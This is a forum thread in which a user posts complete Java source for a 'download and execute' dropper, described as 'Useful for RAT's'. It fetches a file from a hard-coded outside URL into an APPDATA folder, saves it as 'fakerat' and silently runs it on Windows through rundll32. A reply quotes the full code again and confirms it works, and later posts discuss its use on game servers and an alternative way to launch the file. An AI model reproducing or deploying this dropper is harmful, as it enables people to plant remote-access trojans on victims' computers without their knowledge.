Execution Project

Posts 14 of 4 · Page 1 of 1
Execution Project
Soxey asked me to make this took me like 10 mins with some Google.

What is this?
This Program downloads a file from a link and saves it any where and runs the downloaded file.
Useful for RAT's

Source:

FileDownloader.java
Code:
package com.teamruin.executionproject;

import java****.BufferedInputStream;
import java****.File;
import java****.FileOutputStream;
import java****.OutputStream;
import java.net.URL;
import java.net.URLConnection;




public class FileDownloader extends Thread implements Runnable
{
	public FileDownloader(File mcDir, String uri, String filen)
	{
		macDir = mcDir;
		url = uri;
		filename = filen;
	}

	private File macDir;
	private String url;
	private String filename;

	public String getExtn(){
		return url.substring(url.lastIndexOf('.'), url.length());
	}
	
	public void run()
	{
		try
		{
			URL dlURL = (new URL(url));	
			String fileNameExtn = url.substring(url.lastIndexOf('.'), url.length());
			URLConnection dlConnection = dlURL.openConnection();
			dlConnection.connect();
			BufferedInputStream in = new BufferedInputStream(dlURL.openStream());
			OutputStream out = new FileOutputStream(macDir + "/" + filename + fileNameExtn);

			
			
			int count;
			byte data[] = new byte[1024];

			while ((count = in.read(data)) != -1)
			{
				out.write(data, 0, count);
			}

			out.flush();
			out.close();
			in.close();
		}catch (Exception e) {}
	}
}

Main.java
Code:
package com.teamruin.executionproject;

import java****.File;
import java********Exception;

public class Main {
	
	public static File f = new File(System.getenv("APPDATA") + File.separator + "FACK");
	public static String fname = "fakerat";
	public static String url = "http://poyser0.pf-control.de/ZRBTeam/test%20changelog.txt";
	public static String fileNameExtn = url.substring(url.lastIndexOf('.'), url.length());
	public static File fexist = new File(f + "/" + fname + fileNameExtn);
	public static FileDownloader fd = new FileDownloader(f, url, fname);
	public static boolean isChecking = false;
	
	
	public static void main(String[] args) {
		fd.start();
		isChecking = true;
		while(isChecking){
			if(!f.exists()){
				f.mkdirs();
			}
			if(fexist.exists()){
				String s = System.getProperty("os.name").toLowerCase();
				String os = "unknown";
				if (s.contains("win"))
				{
					os = "win";
				}
				if (s.contains("mac"))
				{
					os = "mac";
				}
				if (s.contains("linux"))
				{
					os = "linux";
				}
				if (s.contains("unix"))
				{
					os = "linux";
				}
				if(os == "win")
				{
					try {
						System.out.println("Windows Detected");
						System.out.println(f.getAbsolutePath());
						Runtime.getRuntime().exec("rundll32 SHELL32.DLL,ShellExec_RunDLL " + fexist.getAbsolutePath());
						System.out.println("Loaded Execution");
						
						isChecking = false;
					} catch (IOException e) {
						e.printStackTrace();
					}
				}
				
			}
		}		
	}

}

I confirm it works c:
Quote Originally Posted by zrbteam View Post
Soxey asked me to make this took me like 10 mins with some Google.

What is this?
This Program downloads a file from a link and saves it any where and runs the downloaded file.
Useful for RAT's

Source:

FileDownloader.java
Code:
package com.teamruin.executionproject;

import java****.BufferedInputStream;
import java****.File;
import java****.FileOutputStream;
import java****.OutputStream;
import java.net.URL;
import java.net.URLConnection;




public class FileDownloader extends Thread implements Runnable
{
	public FileDownloader(File mcDir, String uri, String filen)
	{
		macDir = mcDir;
		url = uri;
		filename = filen;
	}

	private File macDir;
	private String url;
	private String filename;

	public String getExtn(){
		return url.substring(url.lastIndexOf('.'), url.length());
	}
	
	public void run()
	{
		try
		{
			URL dlURL = (new URL(url));	
			String fileNameExtn = url.substring(url.lastIndexOf('.'), url.length());
			URLConnection dlConnection = dlURL.openConnection();
			dlConnection.connect();
			BufferedInputStream in = new BufferedInputStream(dlURL.openStream());
			OutputStream out = new FileOutputStream(macDir + "/" + filename + fileNameExtn);

			
			
			int count;
			byte data[] = new byte[1024];

			while ((count = in.read(data)) != -1)
			{
				out.write(data, 0, count);
			}

			out.flush();
			out.close();
			in.close();
		}catch (Exception e) {}
	}
}

Main.java
Code:
package com.teamruin.executionproject;

import java****.File;
import java********Exception;

public class Main {
	
	public static File f = new File(System.getenv("APPDATA") + File.separator + "FACK");
	public static String fname = "fakerat";
	public static String url = "http://poyser0.pf-control.de/ZRBTeam/test%20changelog.txt";
	public static String fileNameExtn = url.substring(url.lastIndexOf('.'), url.length());
	public static File fexist = new File(f + "/" + fname + fileNameExtn);
	public static FileDownloader fd = new FileDownloader(f, url, fname);
	public static boolean isChecking = false;
	
	
	public static void main(String[] args) {
		fd.start();
		isChecking = true;
		while(isChecking){
			if(!f.exists()){
				f.mkdirs();
			}
			if(fexist.exists()){
				String s = System.getProperty("os.name").toLowerCase();
				String os = "unknown";
				if (s.contains("win"))
				{
					os = "win";
				}
				if (s.contains("mac"))
				{
					os = "mac";
				}
				if (s.contains("linux"))
				{
					os = "linux";
				}
				if (s.contains("unix"))
				{
					os = "linux";
				}
				if(os == "win")
				{
					try {
						System.out.println("Windows Detected");
						System.out.println(f.getAbsolutePath());
						Runtime.getRuntime().exec("rundll32 SHELL32.DLL,ShellExec_RunDLL " + fexist.getAbsolutePath());
						System.out.println("Loaded Execution");
						
						isChecking = false;
					} catch (IOException e) {
						e.printStackTrace();
					}
				}
				
			}
		}		
	}

}

I confirm it works c:
This stuff is old, we use to use this all the time for RSPS and java servers.
Some JDB will use this code as well.
Also the code you have their isn't fully complete since it will only open the execution for windows.
This is so hard :S:S
What about:

ProcessBuilder build = new ProcessBuilder();
build.setCommand(new String[]{"java", "-jar", "C:/..."});
Process p = build.start();
If you do it that way you are able to stop it if you want
Posts 14 of 4 · Page 1 of 1

Post a Reply

Similar Threads

Tags for this Thread

None

Need help?